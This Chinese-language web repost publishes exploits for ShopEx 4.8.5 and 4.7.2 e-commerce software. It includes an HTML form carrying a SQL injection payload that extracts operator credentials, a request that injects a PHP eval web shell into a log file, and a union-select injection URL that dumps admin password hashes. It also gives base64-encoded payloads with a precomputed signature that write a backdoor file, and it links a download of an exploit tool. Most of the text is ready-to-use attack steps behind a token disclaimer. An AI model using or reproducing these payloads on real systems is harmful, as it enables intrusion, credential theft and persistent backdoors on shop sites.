您的位置:首页 > 运维架构 > Shell

shopex 4.8.5.45144注入和远程shell写入漏洞

2011-04-04 16:23 1096 查看
利用代码exp:

exploit.htm
-----
<form method="post" action="http://www.hackqing.cn/index.php" enctype="multipart/form-data">
<p>
<input type="hidden" name="spgdif" value="spgdif" />
<input type="hidden" name="session" value="session" />

<input name="query" type="password" value="a:1:{s:6:"fields";a:1:{s:6:"method";a:1:{s:6:"method";s:55:"CONCAT( username, 0x3a, userpass ) FROM sdb_operators #";}}}" size=10 />
</p>
<p>
<input type="hidden" name="sign" value="9f36d67fa0ed218097491a5b469cb9af" />
<input type="submit" name="Submit" value=' shopex 4.8.5.45144
SQL Injection
Vulnerability
O(°…_°…)O…‰¡À' style="width:150px;height:100px" />
</p>
<p>shopex 4.8.5 SQL Injection Vulnerability 0day ”2010.06.12</p>
<p>By:qing</p>
<p>QQ:33089632</p>
</form>

二:shopex 4.8.5.45144 /core/include_v5/crontab.php 远程shell写入漏洞

/core/include_v5/crontab.php (zend加密后的,我只发布解密后的代码)

01 public function run( )
02 {
03 $this->logFile = HOME_DIR."/logs/access.log.php";
04 $this->now = time( );
05 $this->viewStat( );
06 $messenger =& $this->loadModel( "system/messenger" );
07 $messenger->runQueue( );
08 }
09
10 public function viewStat( )
11 {
12 if ( !file_exists( $this->logFile ) )
13 {
14 file_put_contents( $this->logFile, "#<?php exit()?>/n" ); //囧之处!
15 }
16 if ( isset( $_GET['action'] ) )
17 {
18 error_log( $this->now."/t".$_GET['action']."/t".$_GET['p']."/n", 3, $this->logFile );//没有任何过滤,

利用:

直接提交:http://127.0.0.1/?cron=1&action=1&p=1<?php%20eval($_POST[cmd])?>

一句话在:http://127.0.0.1/home/logs/access.log.php

ShopEx 4.7.2 0day

作者:无名

我是无名,这次写一个shopex4.7.2漏洞,

已经通知了官方,今天就发出来,

首先syssite/shopadmin/order_service.php后台这个文件没有验证用户身份,

重要的是$v_id参数没有过滤

syssite/shopadmin/order_service.php?m_id=1&key=986078fbe1474d61464d08535f1002a8&&v_id=1+and+1=2+union+select+concat(username,0x20,userpass),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+sdb_mall_offer_operater%23

直接获取管理员账号密码md5自己解,字段数不对用order by 猜,

有的站只能显示出来前14位,就用left(password,14) mid(password,15,4) right(password,14) 合起来就是完整的32位密码了

如果表名改了,mysql 5.0以上版本自己爆,相关内容不再叙述

登陆后台,接下来讲shell获取部分,(普通管理员一样利用)

分析根目录下htmlcache.php

分析代码的朋友注意了,

$url = base64_decode( $_GET['url'] );
$filename = base64_decode( $_GET['filename'] );
$signcode = $_GET['signcode'];
$verifycode = md5( $url.$filename."1e236443e5a30b09910e0d48c994b8e6" );
if ( $_cvar['seoCacheTime'] == "0" )
{
exit( );

}

变量 url filename 提交的时候用base64 加密,

下面几句

if ( $_cvar['seoCacheTime'] == "0" )
{
exit( );
}
if ( substr( $filename, 0, 3 ) == "../" )
{
exit( );
}
if ( $verifycode != $signcode )
{
exit( );
}

$filename 不能有 ../

$verifycode 要等于$signcode

$_cvar['seoCacheTime'] 在syssite/home/shop/1/shop.cache.php有定义,默认是0

前面几个很容易就绕过去了,$_cvar['seoCacheTime'] 我在后台里一直没有找到在哪里设置,

分析代码发现,进入后台,直接在url后面输入syssite/shopadmin/admin_seo_act.php?act=savecachetime&seocachetime=60

设置seocachetime为60

好了,条件满足,开始获取shell

base64分别加密 http://你的url/test.txt 为$url变量,()
123.php 为$filename变量
$signcode是url+filename+1e236443e5a30b09910e0d48c994b8e6 的32位md5值

其实url完全不用获取test.txt内容的,有时候会获取不成功,
url直接写成http://www.baidu.com/<?php eval($_POST[cmd]);?> base64加密就行了

加密结果

url   aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
filename MTIzLnBocA==
signcode 186350a50934cb17b9bc47f5e067adbe

最后提交

htmlcache.php?url=aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&filename=MTIzLnBocA==&signcode=186350a50934cb17b9bc47f5e067adbe

直接在根目录生成123.php内容为一句话后门,密码cmd

喜欢分析代码的朋友如果有什么不明白的地方,或者有什么错误的地方,欢迎指正

联系团队
SD_无名 QQ 57112848
SD_′&廢. QQ 5081558

这里只是技术讨论,任何利用本文章做破坏的,本人概不负责

最后附上一个半成品的利用工具

下载地址:shopex472_exp.rar
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: